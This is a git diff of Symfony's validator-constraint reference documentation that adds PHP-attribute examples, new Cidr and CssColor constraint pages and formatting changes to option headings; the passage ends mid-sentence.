+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\Bic]
+            protected $businessIdentifierCode;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -87,22 +94,22 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-iban
-~~~~
+``iban``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
 An IBAN value to validate that its country code is the same as the BIC's one.
 
-ibanMessage
-~~~~~~~~~~~
+``ibanMessage``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This Business Identifier Code (BIC) is not associated with IBAN {{ iban }}.``
 
 The default message supplied when the value does not pass the combined BIC/IBAN check.
 
-ibanPropertyPath
-~~~~~~~~~~~~~~~~
+``ibanPropertyPath``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -112,8 +119,8 @@ For example, if you want to compare the ``$bic`` property of some object
 with regard to the ``$iban`` property of the same object, use
 ``ibanPropertyPath="iban"`` in the comparison constraint of ``$bic``.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This is not a valid Business Identifier Code (BIC).``
 
diff --git a/reference/constraints/Blank.rst b/reference/constraints/Blank.rst
index 8a5ba13671a..4bd7a6f869f 100644
--- a/reference/constraints/Blank.rst
+++ b/reference/constraints/Blank.rst
@@ -15,9 +15,6 @@ But be careful as ``NotBlank`` is *not* strictly the opposite of ``Blank``.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Blank`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\BlankValidator`
 ==========  ===================================================================
@@ -45,6 +42,19 @@ of an ``Author`` class were blank, you could do the following:
             protected $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Blank]
+            protected $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index 6985f3953e1..177b3e074a8 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -19,9 +19,6 @@ can do anything, including creating and assigning validation errors.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>` or :ref:`property/method <validation-property-target>`
-Options     - :ref:`callback <callback-option>`
-            - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Callback`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CallbackValidator`
 ==========  ===================================================================
@@ -50,6 +47,23 @@ Configuration
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Context\ExecutionContextInterface;
+
+        class Author
+        {
+            #[Assert\Callback]
+            public function validate(ExecutionContextInterface $context, $payload)
+            {
+                // ...
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -178,6 +192,19 @@ You can then use the following configuration to invoke this validator:
         {
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Acme\Validator;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\Callback([Validator::class, 'validate'])]
+        class Author
+        {
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -251,6 +278,12 @@ constructor of the Callback constraint::
         }
     }
 
+.. warning::
+
+    Using a ``Closure`` together with annotation configuration will disable the
+    annotation cache for that class/property/method because ``Closure`` cannot
+    be cached. For best performance, it's recommended to use a static callback method.
+
 Options
 -------
 
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index 64d6157e2c8..f8487b75e93 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -7,10 +7,6 @@ a payment through a payment gateway.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `message`_
-            - `payload`_
-            - `schemes`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\CardScheme`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CardSchemeValidator`
 ==========  ===================================================================
@@ -41,6 +37,22 @@ on an object that will contain a credit card number.
             protected $cardNumber;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Transaction.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Transaction
+        {
+            #[Assert\CardScheme(
+                schemes: [Assert\CardScheme::VISA],
+                message: 'Your credit card number is invalid.',
+            )]
+            protected $cardNumber;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -85,7 +97,7 @@ on an object that will contain a credit card number.
             {
                 $metadata->addPropertyConstraint('cardNumber', new Assert\CardScheme([
                     'schemes' => [
-                        'VISA',
+                        Assert\CardScheme::VISA,
                     ],
                     'message' => 'Your credit card number is invalid.',
                 ]));
@@ -99,8 +111,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Unsupported card type or invalid card number.``
 
@@ -121,8 +133,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-schemes
-~~~~~~~
+``schemes``
+~~~~~~~~~~~
 
 **type**: ``mixed`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index fd8481d6152..ebf0efaaff7 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -7,17 +7,6 @@ an array of items is one of those valid choices.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `callback`_
-            - `choices`_
-            - `groups`_
-            - `max`_
-            - `maxMessage`_
-            - `message`_
-            - `min`_
-            - `minMessage`_
-            - `multiple`_
-            - `multipleMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Choice`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ChoiceValidator`
 ==========  ===================================================================
@@ -58,6 +47,24 @@ If your valid choice list is simple, you can pass them in directly via the
             protected $genre;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            const GENRES = ['fiction', 'non-fiction'];
+
+            #[Assert\Choice(['New York', 'Berlin', 'Tokyo'])]
+            protected $city;
+
+            #[Assert\Choice(choices: Author::GENRES, message: 'Choose a valid genre.')]
+            protected $genre;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -160,6 +167,19 @@ constraint.
             protected $genre;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(callback: 'getGenres')]
+            protected $genre;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -225,6 +245,20 @@ you can pass the class name and the method as an array.
             protected $genre;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use App\Entity\Genre
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(callback: [Genre::class, 'getGenres'])]
+            protected $genre;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -275,8 +309,8 @@ you can pass the class name and the method as an array.
 Available Options
 -----------------
 
-callback
-~~~~~~~~
+``callback``
+~~~~~~~~~~~~
 
 **type**: ``string|array|Closure``
 
@@ -284,8 +318,8 @@ This is a callback method that can be used instead of the `choices`_ option
 to return the choices array. See
 `Supplying the Choices with a Callback Function`_ for details on its usage.
 
-choices
-~~~~~~~
+``choices``
+~~~~~~~~~~~
 
 **type**: ``array`` [:ref:`default option <validation-default-option>`]
 
@@ -295,8 +329,8 @@ will be matched against this array.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -305,8 +339,8 @@ to force no more than XX number of values to be selected. For example, if
 ``max`` is 3, but the input array contains 4 valid items, the validation
 will fail.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``You must select at most {{ limit }} choices.``
 
@@ -322,8 +356,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The value you selected is not a valid choice.``
 
@@ -340,8 +374,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -350,8 +384,8 @@ to force at least XX number of values to be selected. For example, if
 ``min`` is 3, but the input array only contains 2 valid items, the validation
 will fail.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``You must select at least {{ limit }} choices.``
 
@@ -367,8 +401,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-multiple
-~~~~~~~~
+``multiple``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -377,8 +411,8 @@ of a single, scalar value. The constraint will check that each value of
 the input array can be found in the array of valid choices. If even one
 of the input values cannot be found, the validation will fail.
 
-multipleMessage
-~~~~~~~~~~~~~~~
+``multipleMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``One or more of the given values is invalid.``
 
diff --git a/reference/constraints/Cidr.rst b/reference/constraints/Cidr.rst
new file mode 100644
index 00000000000..bb51a4826be
--- /dev/null
+++ b/reference/constraints/Cidr.rst
@@ -0,0 +1,150 @@
+Cidr
+====
+
+.. versionadded:: 5.4
+
+    The ``Cidr`` constraint was introduced in Symfony 5.4.
+
+Validates that a value is a valid `CIDR`_ (Classless Inter-Domain Routing) notation.
+By default, this will validate the CIDR's IP and netmask both for version 4 and 6,
+with the option of allowing only one type of IP version to be valid. It also supports
+a minimum and maximum range constraint in which the value of the netmask is valid.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Cidr`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CidrValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/NetworkSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class NetworkSettings
+        {
+            /**
+             * @Assert\Cidr
+             */
+            protected $cidrNotation;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/NetworkSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class NetworkSettings
+        {
+            #[Assert\Cidr]
+            protected $cidrNotation;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\NetworkSettings:
+            properties:
+                cidrNotation:
+                    - Cidr: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\NetworkSettings">
+                <property name="cidrNotation">
+                    <constraint name="Cidr"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/NetworkSettings.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class NetworkSettings
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('cidrNotation', new Assert\Cidr());
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not a valid CIDR notation.``
+
+This message is shown if the string is not a valid CIDR notation.
+
+``netmaskMin``
+~~~~~~~~~~~~~~
+
+**type**: ``integer`` **default**: ``0``
+
+It's a constraint for the lowest value a valid netmask may have.
+
+``netmaskMax``
+~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``32`` for IPv4 or ``128`` for IPv6
+
+It's a constraint for the biggest value a valid netmask may have.
+
+``netmaskRangeViolationMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The value of the netmask should be between {{ min }} and {{ max }}.``
+
+This message is shown if the value of the CIDR's netmask is bigger than the
+``netmaskMax`` value or lower than the ``netmaskMin`` value.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ min }}``    The minimum value a CIDR netmask may have
+``{{ max }}``    The maximum value a CIDR netmask may have
+===============  ==============================================================
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+``version``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``all``
+
+This determines exactly *how* the CIDR notation is validated and can take one
+of these values:
+
+* ``4``: validates for CIDR notations that have an IPv4;
+* ``6``: validates for CIDR notations that have an IPv6;
+* ``all``: validates all CIDR formats.
+
+.. _`CIDR`: https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 2f3dfd52035..b6b75ce09b5 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -18,13 +18,6 @@ and that extra keys are not present.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowExtraFields`_
-            - `allowMissingFields`_
-            - `extraFieldsMessage`_
-            - `fields`_
-            - `groups`_
-            - `missingFieldsMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Collection`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CollectionValidator`
 ==========  ===================================================================
@@ -289,6 +282,40 @@ However, if the ``personal_email`` field does not exist in the array,
 the ``NotBlank`` constraint will still be applied (since it is wrapped in
 ``Required``) and you will receive a constraint violation.
 
+When you define groups in nested constraints they are automatically added to
+the ``Collection`` constraint itself so it can be traversed for all nested
+groups. Take the following example::
+
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    $constraint = new Assert\Collection([
+        'fields' => [
+            'name' => new Assert\NotBlank(['groups' => 'basic']),
+            'email' => new Assert\NotBlank(['groups' => 'contact']),
+        ],
+    ]);
+
+This will result in the following configuration::
+
+    $constraint = new Assert\Collection([
+        'fields' => [
+            'name' => new Assert\Required([
+                'constraints' => new Assert\NotBlank(['groups' => 'basic']),
+                'groups' => ['basic', 'strict'],
+            ]),
+            'email' => new Assert\Required([
+                "constraints" => new Assert\NotBlank(['groups' => 'contact']),
+                'groups' => ['basic', 'strict'],
+            ]),
+        ],
+        'groups' => ['basic', 'strict'],
+    ]);
+
+The default ``allowMissingFields`` option requires the fields in all groups.
+So when validating in ``contact`` group, ``$name`` can be empty but the key is
+still required. If this is not the intended behavior, use the ``Optional``
+constraint explicitly instead of ``Required``.
+
 Options
 -------
 
diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 6e0ab5db139..a3a2e335379 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -11,8 +11,6 @@ rules to use consistently across your application, by extending the constraint.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>` or :ref:`property or method <validation-property-target>`
-Options     - `groups`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Compound`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CompoundValidator`
 ==========  ===================================================================
@@ -21,29 +19,65 @@ Basic Usage
 -----------
 
 Suppose that you have different places where a user password must be validated,
-you can create your own named set or requirements to be reused consistently everywhere::
+you can create your own named set or requirements to be reused consistently everywhere:
 
-    // src/Validator/Constraints/PasswordRequirements.php
-    namespace App\Validator\Constraints;
+.. configuration-block::
+
+    .. code-block:: php-annotations
 
-    use Symfony\Component\Validator\Constraints\Compound;
-    use Symfony\Component\Validator\Constraints as Assert;
+        // src/Validator/Constraints/PasswordRequirements.php
+        namespace App\Validator\Constraints;
 
-    /**
-     * @Annotation
-     */
-    class PasswordRequirements extends Compound
-    {
-        protected function getConstraints(array $options): array
+        use Symfony\Component\Validator\Constraints\Compound;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @Annotation
+         */
+        class PasswordRequirements extends Compound
         {
-            return [
-                new Assert\NotBlank(),
-                new Assert\Type('string'),
-                new Assert\Length(['min' => 12]),
-                new Assert\NotCompromisedPassword(),
-            ];
+            protected function getConstraints(array $options): array
+            {
+                return [
+                    new Assert\NotBlank(),
+                    new Assert\Type('string'),
+                    new Assert\Length(['min' => 12]),
+                    new Assert\NotCompromisedPassword(),
+                ];
+            }
         }
-    }
+
+    .. code-block:: php-attributes
+
+        // src/Validator/Constraints/PasswordRequirements.php
+        namespace App\Validator\Constraints;
+
+        use Symfony\Component\Validator\Constraints\Compound;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[\Attribute]
+        class PasswordRequirements extends Compound
+        {
+            protected function getConstraints(array $options): array
+            {
+                return [
+                    new Assert\NotBlank(),
+                    new Assert\Type('string'),
+                    new Assert\Length(['min' => 12]),
+                    new Assert\NotCompromisedPassword(),
+                ];
+            }
+        }
+
+Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
+use it as an annotation/attribute in other classes. If the constraint has
+configuration options, define them as public properties on the constraint class.
+
+.. versionadded:: 5.2
+
+    The ability to use PHP attributes to configure constraints was introduced in
+    Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
+    annotate constraints.
 
 You can now use it anywhere you need it:
 
@@ -51,25 +85,38 @@ You can now use it anywhere you need it:
 
     .. code-block:: php-annotations
 
-        // src/User/RegisterUser.php
-        namespace App\User;
+        // src/Entity/User.php
+        namespace App\Entity\User;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator\Constraints as Assert;
 
-        class RegisterUser
+        class User
         {
             /**
-             * @AcmeAssert\PasswordRequirements()
+             * @Assert\PasswordRequirements()
              */
-            public $password;
+            public $plainPassword;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity\User;
+
+        use App\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\PasswordRequirements]
+            public $plainPassword;
         }
 
     .. code-block:: yaml
 
         # config/validator/validation.yaml
-        App\User\RegisterUser:
+        App\Entity\User:
             properties:
-                password:
+                plainPassword:
                     - App\Validator\Constraints\PasswordRequirements: ~
 
     .. code-block:: xml
@@ -80,8 +127,8 @@ You can now use it anywhere you need it:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="App\User\RegisterUser">
-                <property name="password">
+            <class name="App\Entity\User">
+                <property name="plainPassword">
                     <constraint name="App\Validator\Constraints\PasswordRequirements"/>
                 </property>
             </class>
@@ -89,17 +136,17 @@ You can now use it anywhere you need it:
 
     .. code-block:: php
 
-        // src/User/RegisterUser.php
-        namespace App\User;
+        // src/Entity/User.php
+        namespace App\Entity\User;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class RegisterUser
+        class User
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addPropertyConstraint('password', new AcmeAssert\PasswordRequirements());
+                $metadata->addPropertyConstraint('plainPassword', new Assert\PasswordRequirements());
             }
         }
 
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index 4ce4691c6c9..d4e7e796acc 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -6,15 +6,6 @@ Countable) element count is *between* some minimum and maximum value.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `divisibleBy`_
-            - `divisibleByMessage`_
-            - `exactMessage`_
-            - `groups`_
-            - `max`_
-            - `maxMessage`_
-            - `min`_
-            - `minMessage`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Count`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CountValidator`
 ==========  ===================================================================
@@ -47,6 +38,24 @@ you might add the following:
             protected $emails = [];
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Participant.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Participant
+        {
+            #[Assert\Count(
+                min: 1,
+                max: 5,
+                minMessage: 'You must specify at least one email',
+                maxMessage: 'You cannot specify more than {{ limit }} emails',
+            )]
+            protected $emails = [];
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -103,8 +112,8 @@ you might add the following:
 Options
 -------
 
-divisibleBy
-~~~~~~~~~~~
+``divisibleBy``
+~~~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: null
 
@@ -121,8 +130,8 @@ a certain number.
     are divisible by a certain number, use the
     :doc:`DivisibleBy </reference/constraints/DivisibleBy>` constraint.
 
-divisibleByMessage
-~~~~~~~~~~~~~~~~~~
+``divisibleByMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The number of elements in this collection should be a multiple of {{ compared_value }}.``
 
@@ -141,8 +150,8 @@ Parameter                 Description
 ``{{ compared_value }}``  The number configured in the ``divisibleBy`` option
 ========================  ===================================================
 
-exactMessage
-~~~~~~~~~~~~
+``exactMessage``
+~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain exactly {{ limit }} elements.``
 
@@ -160,8 +169,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -170,8 +179,8 @@ collection elements count is **greater** than this max value.
 
 This option is required when the ``min`` option is not defined.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain {{ limit }} elements or less.``
 
@@ -187,8 +196,8 @@ Parameter        Description
 ``{{ limit }}``  The upper limit
 ===============  ==============================================================
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -197,8 +206,8 @@ collection elements count is **less** than this min value.
 
 This option is required when the ``max`` option is not defined.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain {{ limit }} elements or more.``
 
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 744de6dd0fb..60ed57b98d2 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -5,10 +5,6 @@ Validates that a value is a valid `ISO 3166-1 alpha-2`_ country code.
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `alpha3`_
-            - `groups`_
-            - `message`_
-            - `payload`_
 Class       :class:`Symfony\\Component\\Validator\\Constraints\\Country`
 Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CountryValidator`
 ==========  ===================================================================
@@ -33,6 +29,19 @@ Basic Usage
             protected $country;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\Country]
+            protected $country;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
new file mode 100644
index 00000000000..dc216c7422c
--- /dev/null
+++ b/reference/constraints/CssColor.rst
@@ -0,0 +1,310 @@
+CssColor
+========
+
+.. versionadded:: 5.4
+
+    The ``CssColor`` constraint was introduced in Symfony 5.4.
+
+Validates that a value is a valid CSS color. The underlying value is
+casted to a string before being validated.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\CssColor`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\CssColorValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+In the following example, the ``$defaultColor`` value must be a CSS color
+defined in any of the valid CSS formats (e.g. ``red``, ``#369``,
+``hsla(0, 0%, 20%, 0.4)``); the ``$accentColor`` must be a CSS color defined in
+hexadecimal format; and ``$currentColor`` must be a CSS color defined as any of
+the named CSS colors:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/Bulb.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Bulb
+        {
+            /**
+             * @Assert\CssColor
+             */
+            protected $defaultColor;
+
+            /**
+             * @Assert\CssColor(
+             *     formats = Assert\CssColor::HEX_LONG,
+             *     message = "The accent color must be a 6-character hexadecimal color."
+             * )
+             */
+            protected $accentColor;
+
+            /**
+             * @Assert\CssColor(
+             *     formats = {
+             *         Assert\CssColor::BASIC_NAMED_COLORS,
+             *         Assert\CssColor::EXTENDED_NAMED_COLORS
+             *     },
+             *     message = "The color '{{ value }}' is not a valid CSS color name."
+             * )
+             */
+            protected $currentColor;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Bulb.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Bulb
+        {
+            #[Assert\CssColor]
+            protected $defaultColor;
+
+            #[Assert\CssColor(
+                formats: Assert\CssColor::HEX_LONG,
+                message: 'The accent color must be a 6-character hexadecimal color.',
+            )]
+            protected $accentColor;
+
+            #[Assert\CssColor(
+                formats: [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
+                message: 'The color '{{ value }}' is not a valid CSS color name.',
+            )]
+            protected $currentColor;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Bulb:
+            properties:
+                defaultColor:
+                    - CssColor: ~
+                accentColor:
+                    - CssColor:
+                        formats: !php/const Symfony\Component\Validator\Constraints\CssColor::HEX_LONG
+                        message: The accent color must be a 6-character hexadecimal color.
+                currentColor:
+                    - CssColor:
+                        formats:
+                            - !php/const Symfony\Component\Validator\Constraints\CssColor::BASIC_NAMED_COLORS
+                            - !php/const Symfony\Component\Validator\Constraints\CssColor::EXTENDED_NAMED_COLORS
+                        message: The color "{{ value }}" is not a valid CSS color name.
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Bulb">
+                <property name="defaultColor">
+                    <constraint name="CssColor"/>
+                </property>
+                <property name="accentColor">
+                    <constraint name="CssColor">
+                        <option name="formats">hex_long</option>
+                        <option name="message">The accent color must be a 6-character hexadecimal color.</option>
+                    </constraint>
+                </property>
+                <property name="currentColor">
+                    <constraint name="CssColor">
+                        <option name="formats">
+                            <value>basic_named_colors</value>
+                            <value>extended_named_colors</value>
+                        </option>
+                        <option name="message">The color "{{ value }}" is not a valid CSS color name.</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Bulb.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Bulb
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('defaultColor', new Assert\CssColor());
+
+                $metadata->addPropertyConstraint('accentColor', new Assert\CssColor([
+                    'formats' => Assert\CssColor::HEX_LONG,
+                    'message' => 'The accent color must be a 6-character hexadecimal color.',
+                ]));
+
+                $metadata->addPropertyConstraint('currentColor', new Assert\CssColor([
+                    'formats' => [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
+                    'message' => 'The color "{{ value }}" is not a valid CSS color name.',
+                ]));
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+message
+~~~~~~~
+
+**type**: ``string`` **default**: ``This value is not a valid CSS color.``
+
+This message is shown if the underlying data is not a valid CSS color.
+
+You can use the following parameters in this message:
+
+===============  ==============================================================
+Parameter        Description
+===============  ==============================================================
+``{{ value }}``  The current (invalid) value
+===============  ==============================================================
+
+formats
+~~~~~~~
+
+**type**: ``string`` | ``array``
+
+By default, this constraint considers valid any of the many ways of defining
